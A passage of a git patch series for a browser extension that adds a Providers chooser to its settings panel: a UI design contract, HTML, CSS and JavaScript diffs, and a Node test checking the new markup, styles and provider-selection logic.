Preserve the single toast `Install command copied`, the copy-to-check icon replacement, and the existing copied styling. The visible feedback describes the clipboard action only, not storage success. | +| Persistence timing | Call the persistence path from `copyCommand()` without awaiting it before visual feedback. Clipboard copy, `state.copied`, toast, and render must occur with the same immediate response as today. | +| Repeated clicks | Each click resets the existing feedback timers and increments the durable count. Preserve `firstClickedAt`; update `lastClickedAt`; never render the count in this phase. | +| Source attribution | Persist only the enumerated sources `base`, `fan`, and `all`. Base-command copies are not discarded as ambiguous; they resolve to the visible rolled client. | +| All Clients | A click on `all` still produces one normal copied state and one toast. Its invisible persistence expands to `claude-code`, `claude-desktop`, `cursor`, `vscode`, `windsurf`, `codex`, and `opencode`; do not create seven toasts or seven visual selections. `openclaw` remains excluded from the expansion. | +| Failure behavior | Persistence is best-effort and non-blocking. A storage failure must not undo clipboard feedback, replace the toast, add an error banner, or prevent navigation. The existing clipboard fallback remains unchanged. | +| Data/UI boundary | `getMcpClients` returns data only. No Phase 57 code may render its `clicked`, `installed`, `connected`, or `live` fields. Raw/unmapped client names likewise remain data-only until Phase 58. | +| Scope limits | No changes to `onboarding.html` or `onboarding.css` are required or authorized by this contract. No new visual tokens, components, copy, dependencies, registries, or remote assets. | + +### Existing Component Inventory + +| Element | Existing source | Required state contract | +|---------|-----------------|-------------------------| +| Base command button | `#obCopyCurrent.install-cmd` | Remains a native button; clicking copies the visible rolled command and persists the resolved client invisibly. | +| Icon copy button | `#obCopyIcon.install-copy` | Default `fa-copy`; copied `fa-check` plus `.copied`; keep the existing 40px square control. | +| Client fan | `.install-fan` with `.install-fan-item[data-copy-client]` | Preserve the 420ms hover-open and 260ms delayed-close behavior, native button activation, names, flags, icons, and menu roles. | +| Fan copied state | `.install-fan-item.copied` | Orange border/background treatment and `fa-check`; only the clicked fan item is marked. | +| Success toast | `#obToast.ob-toast` | One `role="status"` / `aria-live="polite"` announcement: `Install command copied`; show for 2600ms. | +| Copied timer | `state.copied` in `copyCommand()` | Preserve 1600ms copied state, then clear and render. Persistence latency must not extend or shorten it. | + +--- + +## Spacing Scale + +Declared values for any Phase 57 UI work (none is expected). All are multiples of 4: + +| Token | Value | Usage | +|-------|-------|-------| +| xs | 4px | Tight inline/icon gaps only | +| sm | 8px | Compact control gaps | +| md | 16px | Default element spacing | +| lg | 24px | Section/card padding | +| xl | 32px | Layout gaps | +| 2xl | 48px | Major section breaks | +| 3xl | 64px | Page-level spacing | + +Exceptions: no new exceptions. Existing onboarding spacing is inherited and must remain untouched; Phase 57 adds no CSS rule and no layout dimension. + +--- + +## Typography + +Phase 57 introduces no visible text. If an implementation unexpectedly requires text, stop and re-scope it to Phase 58; do not silently add a fifth role or another weight. + +| Role | Size | Weight | Line Height | +|------|------|--------|-------------| +| Body | 14px | 400 | 1.5 | +| Label | 12px | 600 | 1.4 | +| Heading | 24px | 600 | 1.2 | +| Command | 16px | 400 | 1.4 | + +Use only two weights: regular (400) and semibold (600). Existing onboarding typography remains the implementation source of truth; these values constrain only newly proposed Phase 57 text, which the scope forbids. + +--- + +## Color + +| Role | Value | Usage | +|------|-------|-------| +| Dominant (60%) | `var(--bg-body)` โ€” dark `#000000`, light `#ffffff` | Existing page background only | +| Secondary (30%) | `var(--bg-card)` โ€” dark `#0a0a0a`, light `#f8f9fa` | Existing onboarding card; `var(--bg-elevated)` remains the nested control surface | +| Accent (10%) | `var(--primary)` / `#ff6b35` | Existing command flag, copy control, copied state, fan copied border/icon, and toast border/icon only | +| Destructive | `#ef4444` | Destructive actions only; Phase 57 contains no destructive action and must not render this color | + +Accent reserved for: the existing install-command flag, copy button, copied/check states, selected fan feedback, toast border/icon, and existing onboarding progress accents. Do not apply accent to storage status, inventory data, body copy, or any new badge. Do not introduce a new success color; the existing copied state deliberately uses the FSB orange plus a check icon. + +--- + +## Copywriting Contract + +| Element | Copy | +|---------|------| +| Primary CTA | `Copy install command` (existing accessible name; visible command remains the target) | +| Success feedback | `Install command copied` | +| Empty state heading | Not rendered in Phase 57 โ€” MCP-client inventory UI is deferred to Phase 58 | +| Empty state body | Not rendered in Phase 57 โ€” `getMcpClients` is a data contract only | +| Error state | No new user-facing persistence error. Clipboard feedback remains intact; storage/inventory failures are not surfaced on onboarding in this phase. | +| Destructive confirmation | none โ€” Phase 57 has no destructive action | + +Tone: keep the existing concise, action-confirming copy. Do not mention tracking, intent scoring, providers, recommendation tiers, or background storage to the user. Do not change `Copy command`, `Copy install command`, or `Install command copied`. + +--- + +## Interaction States and Timing + +1. **Default:** the base command and icon button show the existing command/copy icon. No persisted identity state is loaded back into the onboarding view. +2. **Fan discovery:** hovering the copy wrapper opens the client fan after 420ms; leaving closes it after 260ms. The rolling client remains paused while the widget is hovered or the fan is open. +3. **Activation:** mouse click, Enter, or Space on a native copy button invokes the same `copyCommand(text, key)` path. Persistence adds no confirmation step. +4. **Copied:** set `state.copied` to `current` or the fan client id, render the check state immediately, and clear it after 1600ms. +5. **Toast:** announce `Install command copied` once through the existing polite live region and hide it after 2600ms. A rapid subsequent click replaces/restarts the same toast rather than stacking notifications. +6. **All Clients:** visually behaves as one clicked fan item. The seven-client expansion is storage-only. +7. **Storage failure:** no visual state transition. The user copied a command successfully, so identity-capture persistence must not create a false clipboard error. + +--- + +## Responsive, Theme, and Motion Contract + +- Preserve both existing themes. All colors continue through `--bg-*`, `--text-*`, `--border-*`, and `--primary`; do not add hard-coded theme branches. +- Preserve the current `max-width: 640px` behavior, including hiding `.install-base` while retaining the flag and copy control. +- Persistence must cause no layout shift, repaint beyond the existing copied render, or extra animation. +- Preserve `prefers-reduced-motion: reduce`; no persistence animation or progress indicator is allowed. +- Do not fetch fonts, icons, styles, or scripts remotely. The onboarding extension-safe asset contract remains intact. + +--- + +## Accessibility + +- Keep all copy affordances as native ` + + +
+
+

Agent CLIs

+
+ + + +
+
+ +
+

API providers

+
+ + + + + + + +
+
+
+ + + + + + +
+
+
+

API provider settings

+ -
Select your preferred AI provider
-
- +
@@ -358,6 +488,66 @@

CAPTCHA Solver

+ +
diff --git a/extension/ui/options.css b/extension/ui/options.css index 2d5cf9bf6..839340467 100644 --- a/extension/ui/options.css +++ b/extension/ui/options.css @@ -5708,6 +5708,412 @@ textarea.form-input { } } +/* --------------------------------------------------------------------------- + * Providers chooser + * Native radios preserve keyboard behavior while recommendation and evidence + * remain separate, informational badges. + * ------------------------------------------------------------------------- */ +.provider-roster { + min-width: 0; + margin: 0; + padding: 0; + border: 0; + overflow-wrap: anywhere; +} + +.provider-roster__legend { + padding: 0; + color: var(--text-primary); + font-size: 18px; + font-weight: 600; + line-height: 1.25; +} + +.provider-roster__toolbar { + display: flex; + align-items: center; + justify-content: space-between; + gap: 16px; + margin: 16px 0 24px; +} + +.provider-roster__help { + min-width: 0; + color: var(--text-secondary); + font-size: 14px; + line-height: 1.6; +} + +.provider-roster__refresh { + flex: 0 0 auto; + min-height: 44px; + white-space: nowrap; +} + +.provider-roster__refresh.is-refreshing .provider-roster__refresh-icon { + animation: provider-status-spin 800ms linear infinite; +} + +@keyframes provider-status-spin { + to { transform: rotate(360deg); } +} + +.provider-groups { + display: grid; + grid-template-columns: minmax(0, 1fr); + gap: 24px; + min-width: 0; +} + +.provider-group { + min-width: 0; +} + +.provider-group__heading { + margin: 0 0 16px; + color: var(--text-primary); + font-size: 16px; + font-weight: 600; + line-height: 1.3; +} + +.provider-group__rows { + display: grid; + gap: 8px; + min-width: 0; +} + +.provider-row { + display: flex; + align-items: center; + gap: 12px; + min-width: 0; + min-height: 64px; + padding: 16px; + overflow: hidden; + color: var(--text-primary); + background: var(--bg-primary); + border: 2px solid var(--border-color); + border-radius: var(--radius-md); + cursor: pointer; + transition: border-color var(--transition-fast), background var(--transition-fast); +} + +.provider-row:hover { + background: var(--bg-tertiary); + border-color: var(--border-hover); +} + +.provider-row.is-selected, +.provider-row:has(.provider-radio:checked) { + background: var(--primary-light); + border-color: var(--primary-color); +} + +.provider-row:has(.provider-radio:focus-visible) { + box-shadow: var(--fsb-focus-ring); +} + +.provider-row__content { + display: flex; + flex: 1 1 auto; + align-items: center; + justify-content: space-between; + gap: 8px; + min-width: 0; +} + +.provider-row__name { + min-width: 0; + font-size: 14px; + font-weight: 600; + line-height: 1.4; + overflow-wrap: anywhere; +} + +.provider-row__badges { + display: flex; + flex: 0 1 auto; + align-items: center; + justify-content: flex-end; + flex-wrap: wrap; + gap: 4px; + min-width: 0; +} + +.provider-radio { + flex: 0 0 auto; + width: 20px; + height: 20px; + margin: 0; + accent-color: var(--primary-color); +} + +.provider-radio:focus-visible { + outline: none; + box-shadow: var(--fsb-focus-ring); +} + +.provider-badge { + display: inline-flex; + align-items: center; + max-width: 100%; + padding: 4px 8px; + border: 1px solid var(--border-color); + border-radius: var(--fsb-radius-pill); + color: var(--text-muted); + background: var(--bg-tertiary); + font-size: 12px; + font-weight: 600; + line-height: 1.2; + overflow-wrap: anywhere; +} + +.provider-badge--recommended { + color: var(--info-color); + background: var(--info-light); + border-color: var(--info-color); +} + +.provider-badge--connected { + color: var(--success-color); + background: var(--success-light); + border-color: var(--success-color); +} + +.provider-badge--installed { + color: var(--info-color); + background: var(--info-light); + border-color: var(--info-color); +} + +.provider-badge--seen { + color: var(--warning-color); + background: var(--warning-light); + border-color: var(--warning-color); +} + +.provider-badge--error { + color: var(--error-color); + background: var(--error-light); + border-color: var(--error-color); +} + +.provider-badge--neutral, +.provider-badge--status { + color: var(--text-muted); + background: var(--bg-tertiary); + border-color: var(--border-color); +} + +.provider-other-clients { + margin-top: 24px; + padding-top: 16px; + border-top: 1px solid var(--border-color); + color: var(--text-secondary); +} + +.provider-other-clients summary { + min-height: 44px; + padding: 8px 0; + color: var(--text-primary); + font-weight: 600; + cursor: pointer; +} + +.provider-other-clients__list { + display: grid; + gap: 8px; + margin: 8px 0 0; + padding-left: 24px; + overflow-wrap: anywhere; +} + +.provider-roster__native { + position: absolute; + width: 1px; + height: 1px; + padding: 0; + margin: -1px; + overflow: hidden; + clip: rect(0 0 0 0); + white-space: nowrap; + border: 0; +} + +.provider-details-card { + overflow: hidden; +} + +.agent-provider-details, +.agent-provider-details__section, +.provider-empty-state { + min-width: 0; + overflow-wrap: anywhere; +} + +.agent-provider-details__caption { + margin: 0 0 24px; + color: var(--text-secondary); + font-size: 14px; + line-height: 1.6; +} + +.provider-empty-state { + margin-bottom: 24px; + padding: 24px; + color: var(--text-secondary); + background: var(--bg-tertiary); + border: 1px solid var(--border-color); + border-radius: var(--radius-md); +} + +.provider-empty-state h4 { + margin: 0 0 8px; + color: var(--text-primary); + font-size: 16px; + font-weight: 600; +} + +.agent-provider-details__facts { + display: grid; + grid-template-columns: repeat(3, minmax(0, 1fr)); + gap: 16px; + margin: 0 0 32px; +} + +.agent-provider-details__fact, +.agent-usage-grid__item { + min-width: 0; + padding: 16px; + background: var(--bg-tertiary); + border: 1px solid var(--border-color); + border-radius: var(--radius-md); +} + +.agent-provider-details__fact dt, +.agent-usage-grid__item dt { + color: var(--text-muted); + font-size: 12px; + font-weight: 600; + line-height: 1.2; +} + +.agent-provider-details__fact dd, +.agent-usage-grid__item dd { + margin: 8px 0 0; + color: var(--text-primary); + font-size: 14px; + font-weight: 600; + line-height: 1.4; +} + +.agent-provider-details__section { + margin-top: 32px; + padding-top: 24px; + border-top: 1px solid var(--border-color); +} + +.agent-provider-details__section h4 { + margin: 0 0 16px; + color: var(--text-primary); + font-size: 16px; + font-weight: 600; +} + +.provider-detail-action { + width: 100%; + min-height: 44px; + justify-content: center; + margin-top: 16px; +} + +.agent-usage-grid { + display: grid; + grid-template-columns: repeat(3, minmax(0, 1fr)); + gap: 16px; + margin: 0; +} + +.agent-usage-grid__item dd { + font-family: var(--font-mono); +} + +.provider-empty-copy { + margin-top: 16px; + color: var(--text-muted); +} + +.provider-billing-link { + display: inline-flex; + align-items: center; + gap: 8px; + min-height: 44px; + margin-top: 16px; + color: var(--primary-color); + font-weight: 600; + text-decoration: none; +} + +.provider-billing-link:hover { + text-decoration: underline; +} + +[data-theme="dark"] .provider-row, +[data-theme="dark"] .agent-provider-details__fact, +[data-theme="dark"] .agent-usage-grid__item, +[data-theme="dark"] .provider-empty-state { + color: var(--text-primary); + background: var(--bg-primary); + border-color: var(--border-color); +} + +[data-theme="dark"] .provider-row.is-selected, +[data-theme="dark"] .provider-row:has(.provider-radio:checked) { + background: var(--primary-light); + border-color: var(--primary-color); +} + +@media (min-width: 900px) { + .provider-groups { + grid-template-columns: repeat(2, minmax(0, 1fr)); + } +} + +@media (max-width: 640px) { + .provider-roster__toolbar, + .provider-row__content { + align-items: stretch; + flex-direction: column; + } + + .provider-roster__refresh, + .provider-detail-action { + width: 100%; + justify-content: center; + } + + .provider-row__badges { + justify-content: flex-start; + } + + .agent-provider-details__facts, + .agent-usage-grid { + grid-template-columns: minmax(0, 1fr); + } +} + +@media (prefers-reduced-motion: reduce) { + .provider-row, + .provider-roster__refresh, + .provider-roster__refresh-icon, + .provider-detail-action { + animation: none !important; + transform: none !important; + transition: none !important; + } +} + /* --------------------------------------------------------------------------- * Model Discovery (Phase 228 / Plan 02) * Inline indicator chip + refresh button row used by the model selector. diff --git a/extension/ui/options.js b/extension/ui/options.js index 2e09ff612..e03a7a470 100644 --- a/extension/ui/options.js +++ b/extension/ui/options.js @@ -207,6 +207,7 @@ function cacheElements() { // Form elements elements.modelProvider = document.getElementById('modelProvider'); + elements.refreshProviderStatusBtn = document.getElementById('refreshProviderStatusBtn'); elements.modelSearch = document.getElementById('modelSearch'); elements.modelName = document.getElementById('modelName'); elements.apiKey = document.getElementById('apiKey'); @@ -1162,7 +1163,26 @@ function initFsbSelects() { } } +function setProviderStatusRefreshing(isRefreshing) { + const button = elements.refreshProviderStatusBtn; + if (!button) return; + const refreshing = isRefreshing === true; + const label = button.querySelector('.provider-roster__refresh-label'); + const pending = button.querySelector('.provider-roster__refresh-pending'); + button.disabled = refreshing; + button.setAttribute('aria-busy', refreshing ? 'true' : 'false'); + button.classList.toggle('is-refreshing', refreshing); + if (label) label.hidden = refreshing; + if (pending) pending.hidden = !refreshing; +} + +function normalizeSectionId(sectionId) { + return sectionId === 'api-config' ? 'providers' : sectionId; +} + function switchSection(sectionId) { + sectionId = normalizeSectionId(sectionId); + // Update navigation elements.navItems.forEach(item => { item.classList.toggle('active', item.dataset.section === sectionId); @@ -1191,7 +1211,7 @@ function switchSection(sectionId) { function initializeSections() { // Check URL hash for initial section - const hash = window.location.hash.slice(1); + const hash = normalizeSectionId(window.location.hash.slice(1)); if (hash && document.getElementById(hash)) { switchSection(hash); } diff --git a/tests/providers-panel-ui.test.js b/tests/providers-panel-ui.test.js new file mode 100644 index 000000000..81fea42c3 --- /dev/null +++ b/tests/providers-panel-ui.test.js @@ -0,0 +1,216 @@ +'use strict'; + +const assert = require('assert'); +const fs = require('fs'); +const path = require('path'); + +const ROOT = path.resolve(__dirname, '..'); + +function read(relativePath) { + return fs.readFileSync(path.join(ROOT, relativePath), 'utf8'); +} + +function attribute(tag, name) { + const match = tag.match(new RegExp('\\b' + name + '="([^"]*)"')); + return match ? match[1] : null; +} + +function extractFunction(source, name) { + const start = source.indexOf('function ' + name + '('); + assert.notStrictEqual(start, -1, 'options.js defines ' + name + '()'); + const open = source.indexOf('{', start); + let depth = 1; + let cursor = open + 1; + while (cursor < source.length && depth > 0) { + if (source[cursor] === '{') depth += 1; + if (source[cursor] === '}') depth -= 1; + cursor += 1; + } + assert.strictEqual(depth, 0, 'extracts complete ' + name + '() body'); + return source.slice(start, cursor); +} + +function extractElement(source, tagName, id) { + const startPattern = new RegExp('<' + tagName + '\\b[^>]*\\bid="' + id + '"[^>]*>'); + const startMatch = startPattern.exec(source); + assert.ok(startMatch, 'finds #' + id); + const start = startMatch.index; + const tokenPattern = new RegExp('<\\/?' + tagName + '\\b[^>]*>', 'g'); + tokenPattern.lastIndex = start; + let depth = 0; + let match; + while ((match = tokenPattern.exec(source))) { + if (match[0][1] === '/') depth -= 1; + else depth += 1; + if (depth === 0) return source.slice(start, tokenPattern.lastIndex); + } + throw new Error('Unclosed #' + id); +} + +const HTML = read('extension/ui/control_panel.html'); +const CSS = read('extension/ui/options.css'); +const JS = read('extension/ui/options.js'); +const PROVIDERS = require('../extension/ui/providers-panel.js'); + +console.log('Providers panel UI: canonical route and static roster'); + +assert.match(HTML, /data-section="providers"/); +assert.match(HTML, /
/); +assert.match(HTML, /

Providers<\/h2>/); +assert.match( + HTML, + /Choose how FSB runs AI tasks\. API providers use keys stored locally; agent CLIs use their existing local sign-in\./ +); +assert.doesNotMatch(HTML, /data-section="api-config"|id="api-config"/); + +const normalizeSource = extractFunction(JS, 'normalizeSectionId'); +const normalizeSectionId = new Function(normalizeSource + '; return normalizeSectionId;')(); +assert.strictEqual(normalizeSectionId('api-config'), 'providers'); +assert.strictEqual(normalizeSectionId('advanced'), 'advanced'); + +const switchSource = extractFunction(JS, 'switchSection'); +const initializeSource = extractFunction(JS, 'initializeSections'); +assert.match(switchSource, /sectionId\s*=\s*normalizeSectionId\(sectionId\)/); +assert.match(switchSource, /history\.replaceState\(null, null, `#\$\{sectionId\}`\)/); +assert.match(initializeSource, /normalizeSectionId\(window\.location\.hash\.slice\(1\)\)/); +assert.ok( + initializeSource.indexOf('normalizeSectionId(') < initializeSource.indexOf('document.getElementById(hash)'), + 'legacy hash is normalized before section lookup' +); + +const helperTags = HTML.match(/<\/script>/g) || []; +assert.strictEqual(helperTags.length, 1, 'provider helper is loaded exactly once'); +assert.ok( + HTML.indexOf('src="providers-panel.js"') < HTML.indexOf('src="options.js"'), + 'provider helper loads before options.js' +); + +const radioTags = HTML.match(/]*\bname="fsbProviderSelection"[^>]*>/g) || []; +assert.strictEqual(radioTags.length, 10, 'exactly ten provider radios share one name'); +const radioContract = radioTags.map((tag) => ({ + kind: attribute(tag, 'data-provider-kind'), + id: attribute(tag, 'data-provider-id'), + value: attribute(tag, 'value') +})); +const expectedContract = [ + ...PROVIDERS.AGENT_PROVIDER_IDS.map((id) => ({ kind: 'agent', id, value: id })), + ...PROVIDERS.API_PROVIDER_IDS.map((id) => ({ kind: 'api', id, value: id })) +]; +assert.deepStrictEqual(radioContract, expectedContract); + +const providerLabels = HTML.match(/]*class="provider-row"[^>]*>[\s\S]*?<\/label>/g) || []; +assert.strictEqual(providerLabels.length, 10, 'every radio has a provider-row label'); +providerLabels.forEach((label, index) => { + assert.strictEqual(attribute(label.slice(0, label.indexOf('>') + 1), 'data-provider-kind'), expectedContract[index].kind); + assert.strictEqual(attribute(label.slice(0, label.indexOf('>') + 1), 'data-provider-id'), expectedContract[index].id); + assert.doesNotMatch(label, /<(?:a|button|select|textarea)\b/i, 'provider labels contain no nested secondary controls'); +}); + +const modelProviderMatch = HTML.match(/]*\bid="modelProvider"[^>]*>[\s\S]*?<\/select>/); +assert.ok(modelProviderMatch, 'hidden compatibility #modelProvider remains present'); +const modelProviderMarkup = modelProviderMatch[0]; +assert.match(modelProviderMarkup, /class="form-select provider-roster__native"/); +assert.match(modelProviderMarkup, /tabindex="-1"/); +assert.match(modelProviderMarkup, /aria-hidden="true"/); +assert.doesNotMatch(modelProviderMarkup.split('>')[0], /\bdisabled\b/); +assert.deepStrictEqual( + Array.from(modelProviderMarkup.matchAll(/ match[1]), + Array.from(PROVIDERS.API_PROVIDER_IDS) +); +PROVIDERS.AGENT_PROVIDER_IDS.forEach((id) => { + assert.doesNotMatch(modelProviderMarkup, new RegExp('value="' + id + '"')); +}); + +assert.match(HTML, /id="refreshProviderStatusBtn"/); +assert.match(HTML, />Refresh status<\/span>/); +assert.match(HTML, />Refreshingโ€ฆ<\/span>/); +assert.match(HTML, /id="refreshProviderStatusBtn"[^>]*aria-busy="false"/); + +const refreshingSource = extractFunction(JS, 'setProviderStatusRefreshing'); +const refreshingState = { + disabled: false, + attributes: {}, + classes: new Set(), + label: { hidden: false }, + pending: { hidden: true } +}; +const refreshButton = { + disabled: false, + querySelector(selector) { + return selector.endsWith('refresh-label') ? refreshingState.label : refreshingState.pending; + }, + setAttribute(name, value) { refreshingState.attributes[name] = value; }, + classList: { + toggle(name, on) { + if (on) refreshingState.classes.add(name); + else refreshingState.classes.delete(name); + } + } +}; +const setProviderStatusRefreshing = new Function( + 'elements', + refreshingSource + '; return setProviderStatusRefreshing;' +)({ refreshProviderStatusBtn: refreshButton }); +setProviderStatusRefreshing(true); +assert.strictEqual(refreshButton.disabled, true); +assert.strictEqual(refreshingState.attributes['aria-busy'], 'true'); +assert.strictEqual(refreshingState.label.hidden, true); +assert.strictEqual(refreshingState.pending.hidden, false); +setProviderStatusRefreshing(false); +assert.strictEqual(refreshButton.disabled, false); +assert.strictEqual(refreshingState.attributes['aria-busy'], 'false'); +assert.strictEqual(refreshingState.label.hidden, false); +assert.strictEqual(refreshingState.pending.hidden, true); + +console.log('Providers panel UI: detail, empty, and disclosure contracts'); + +assert.match(HTML, /id="apiProviderDetails"/); +assert.match(HTML, /id="agentProviderDetails"[^>]*hidden[^>]*aria-live="polite"/); +[ + 'modelCombobox', 'modelDiscoveryStatus', 'refreshModelsBtn', 'xaiApiKeyGroup', + 'geminiApiKeyGroup', 'openaiApiKeyGroup', 'anthropicApiKeyGroup', + 'openrouterApiKeyGroup', 'lmstudioServerGroup', 'customApiGroup', + 'apiStatusCard', 'fullApiTest' +].forEach((id) => assert.match(extractElement(HTML, 'div', 'apiProviderDetails'), new RegExp('id="' + id + '"'))); + +const agentDetails = extractElement(HTML, 'div', 'agentProviderDetails'); +['Installation', 'Connection', 'Account', 'Setup', 'Usage', 'Tokens', 'Turns', 'Duration'].forEach((label) => { + assert.ok(agentDetails.includes(label), 'agent details include ' + label); +}); +assert.match(agentDetails, /id="agentUsageTokens">โ€”<\/dd>/); +assert.match(agentDetails, /id="agentUsageTurns">โ€”<\/dd>/); +assert.match(agentDetails, /id="agentUsageDuration">โ€”<\/dd>/); +assert.match(agentDetails, /No delegated runs yet/); +assert.match(agentDetails, /

No agent CLI detected<\/h4>/); +assert.match( + agentDetails, + /You can select an agent now and follow its setup guide, or continue with an API provider\./ +); + +const otherClients = extractElement(HTML, 'details', 'otherMcpClientsDisclosure'); +assert.doesNotMatch(otherClients.split('>')[0], /\bopen\b/); +assert.match(otherClients, /Other MCP clients \(0\)/); +assert.doesNotMatch(otherClients, /type="radio"|Recommended|Open setup guide/); + +console.log('Providers panel UI: theme, responsive, and motion CSS'); + +const providerCssStart = CSS.indexOf('/* ---------------------------------------------------------------------------\n * Providers chooser'); +const providerCssEnd = CSS.indexOf('/* ---------------------------------------------------------------------------\n * Model Discovery', providerCssStart); +assert.ok(providerCssStart >= 0 && providerCssEnd > providerCssStart, 'Providers CSS block is present'); +const providerCss = CSS.slice(providerCssStart, providerCssEnd); +assert.match(providerCss, /\.provider-row\s*\{/); +assert.match(providerCss, /min-height:\s*64px/); +assert.match(providerCss, /padding:\s*16px/); +assert.match(providerCss, /gap:\s*12px/); +assert.match(providerCss, /border:\s*2px solid var\(--border-color\)/); +assert.match(providerCss, /border-color:\s*var\(--primary-color\)/); +assert.match(providerCss, /\.provider-badge--recommended[\s\S]*var\(--info-light\)/); +assert.match(providerCss, /var\(--fsb-focus-ring\)/); +assert.match(providerCss, /@media \(min-width: 900px\)/); +assert.match(providerCss, /@media \(max-width: 640px\)/); +assert.match(providerCss, /@media \(prefers-reduced-motion: reduce\)/); +assert.match(providerCss, /\[data-theme="dark"\] \.provider-row/); +assert.doesNotMatch(providerCss, /#[0-9a-f]{3,8}\b|rgba?\(/i, 'Providers CSS uses existing theme variables'); +assert.match(CSS, /html, body\s*\{\s*overflow-x:\s*hidden;/); + +console.log('PASS providers-panel-ui static shell'); From b47b773384b1c15a20e2dc1cfdf9e2dfce2f8e24 Mon Sep 17 00:00:00 2001 From: Lakshman Date: Sun, 12 Jul 2026 16:22:23 -0500 Subject: [PATCH 053/581] feat(58-02): persist kind-aware provider selection - separate API modelProvider state from latent agent provider intent - preserve BYOK settings through load, save, discard, and kind switching - add VM coverage and keep provider compatibility gates enforced --- extension/ui/options.js | 214 +++++++++-- package.json | 2 +- tests/lattice-provider-bridge-smoke.test.js | 6 +- tests/providers-panel-logic.test.js | 9 +- tests/providers-panel-ui.test.js | 401 +++++++++++++++++++- 5 files changed, 595 insertions(+), 37 deletions(-) diff --git a/extension/ui/options.js b/extension/ui/options.js index e03a7a470..9df460cad 100644 --- a/extension/ui/options.js +++ b/extension/ui/options.js @@ -2,6 +2,8 @@ // Default settings const defaultSettings = { + providerKind: 'api', + agentProviderId: '', modelProvider: 'xai', modelName: 'grok-4-1-fast', apiKey: '', @@ -116,6 +118,17 @@ const dashboardState = { wsConnected: false }; +// Provider intent is kept separate from advisory inventory evidence. The +// existing hidden #modelProvider select remains the API-only source of truth; +// an agent id is never written into it. +const providerPanelState = { + providerKind: 'api', + agentProviderId: '', + recommendation: { providerKind: 'api', providerId: 'xai', reason: 'fallback' }, + clients: Object.create(null), + evidenceStatus: 'idle' +}; + // Initialize analytics let analytics = null; @@ -207,7 +220,30 @@ function cacheElements() { // Form elements elements.modelProvider = document.getElementById('modelProvider'); + elements.providerRoster = document.getElementById('providerRoster'); + elements.providerSelectionRadios = document.querySelectorAll('input[name="fsbProviderSelection"]'); elements.refreshProviderStatusBtn = document.getElementById('refreshProviderStatusBtn'); + elements.apiProviderDetails = document.getElementById('apiProviderDetails'); + elements.agentProviderDetails = document.getElementById('agentProviderDetails'); + elements.agentProviderDetailsHeading = document.getElementById('agentProviderDetailsHeading'); + elements.agentNoCredentialCaption = document.getElementById('agentNoCredentialCaption'); + elements.agentEvidenceEmptyState = document.getElementById('agentEvidenceEmptyState'); + elements.agentInstallationStatus = document.getElementById('agentInstallationStatus'); + elements.agentConnectionStatus = document.getElementById('agentConnectionStatus'); + elements.agentAccountStatus = document.getElementById('agentAccountStatus'); + elements.agentSetupStatus = document.getElementById('agentSetupStatus'); + elements.openAgentSetupGuideBtn = document.getElementById('openAgentSetupGuideBtn'); + elements.agentUsageTokens = document.getElementById('agentUsageTokens'); + elements.agentUsageTurns = document.getElementById('agentUsageTurns'); + elements.agentUsageDuration = document.getElementById('agentUsageDuration'); + elements.agentUsageEmptyState = document.getElementById('agentUsageEmptyState'); + elements.agentBillingStatus = document.getElementById('agentBillingStatus'); + elements.agentBillingCopy = document.getElementById('agentBillingCopy'); + elements.agentBillingLink = document.getElementById('agentBillingLink'); + elements.agentBillingLinkLabel = document.getElementById('agentBillingLinkLabel'); + elements.otherMcpClientsDisclosure = document.getElementById('otherMcpClientsDisclosure'); + elements.otherMcpClientsSummary = document.getElementById('otherMcpClientsSummary'); + elements.otherMcpClientsList = document.getElementById('otherMcpClientsList'); elements.modelSearch = document.getElementById('modelSearch'); elements.modelName = document.getElementById('modelName'); elements.apiKey = document.getElementById('apiKey'); @@ -311,6 +347,75 @@ function cacheElements() { elements.auditClearBtn = document.getElementById('auditClearBtn'); } +function getProviderPanelHelper() { + const helper = (typeof globalThis !== 'undefined') ? globalThis.FSBProvidersPanel : null; + return helper + && typeof helper.isApiProvider === 'function' + && typeof helper.isAgentProvider === 'function' + && typeof helper.normalizeSettings === 'function' + ? helper + : null; +} + +function renderProviderSelection() { + const activeKind = providerPanelState.providerKind; + const activeId = activeKind === 'agent' + ? providerPanelState.agentProviderId + : elements.modelProvider?.value; + const radios = elements.providerSelectionRadios || []; + + Array.prototype.forEach.call(radios, (radio) => { + const selected = radio.dataset?.providerKind === activeKind + && radio.dataset?.providerId === activeId; + radio.checked = selected; + radio.setAttribute('aria-checked', selected ? 'true' : 'false'); + const row = typeof radio.closest === 'function' ? radio.closest('.provider-row') : null; + if (row) row.classList.toggle('is-selected', selected); + }); +} + +function renderProviderKind() { + const showAgentDetails = providerPanelState.providerKind === 'agent'; + if (elements.apiProviderDetails) elements.apiProviderDetails.hidden = showAgentDetails; + if (elements.agentProviderDetails) elements.agentProviderDetails.hidden = !showAgentDetails; +} + +function runApiProviderSelectionPath(provider, previousSelection, silentIfNoKey) { + const ui = (typeof globalThis !== 'undefined') ? globalThis.FSBDiscoveryUI : null; + if (ui && ui.IN_SCOPE_PROVIDERS && ui.IN_SCOPE_PROVIDERS[provider]) { + const discoveryOptions = { previousSelection: previousSelection }; + if (silentIfNoKey) discoveryOptions.silentIfNoKey = true; + ui.runDiscovery(provider, discoveryOptions); + } else { + updateModelOptions(provider); + } + updateApiKeyVisibility(provider); +} + +function setProviderSelection(kind, id, { markDirty = true } = {}) { + const helper = getProviderPanelHelper(); + if (!helper) return false; + + if (kind === 'api') { + if (!helper.isApiProvider(id)) return false; + const previousSelection = elements.modelName?.value; + providerPanelState.providerKind = 'api'; + if (elements.modelProvider) elements.modelProvider.value = id; + runApiProviderSelectionPath(id, previousSelection, !markDirty); + } else if (kind === 'agent') { + if (!helper.isAgentProvider(id)) return false; + providerPanelState.providerKind = 'agent'; + providerPanelState.agentProviderId = id; + } else { + return false; + } + + renderProviderSelection(); + renderProviderKind(); + if (markDirty) markUnsavedChanges(); + return true; +} + function setupEventListeners() { // Navigation elements.navItems.forEach(item => { @@ -330,6 +435,16 @@ function setupEventListeners() { }); } + // One delegated handler covers click and keyboard-driven native-radio + // changes. Selection stays in form state until the existing Save action. + if (elements.providerRoster) { + elements.providerRoster.addEventListener('change', (event) => { + const radio = event.target; + if (!radio || radio.name !== 'fsbProviderSelection') return; + setProviderSelection(radio.dataset?.providerKind, radio.dataset?.providerId); + }); + } + // Form inputs change detection const formInputs = [ elements.apiKey, @@ -1054,7 +1169,8 @@ let _fsbSelectOutsideClickBound = false; // truth -- picking a custom option sets its .value and redispatches a real // 'change' event, so every existing change-listener elsewhere keeps working // untouched. modelName is excluded (it's the model-combobox's own hidden -// native select, already 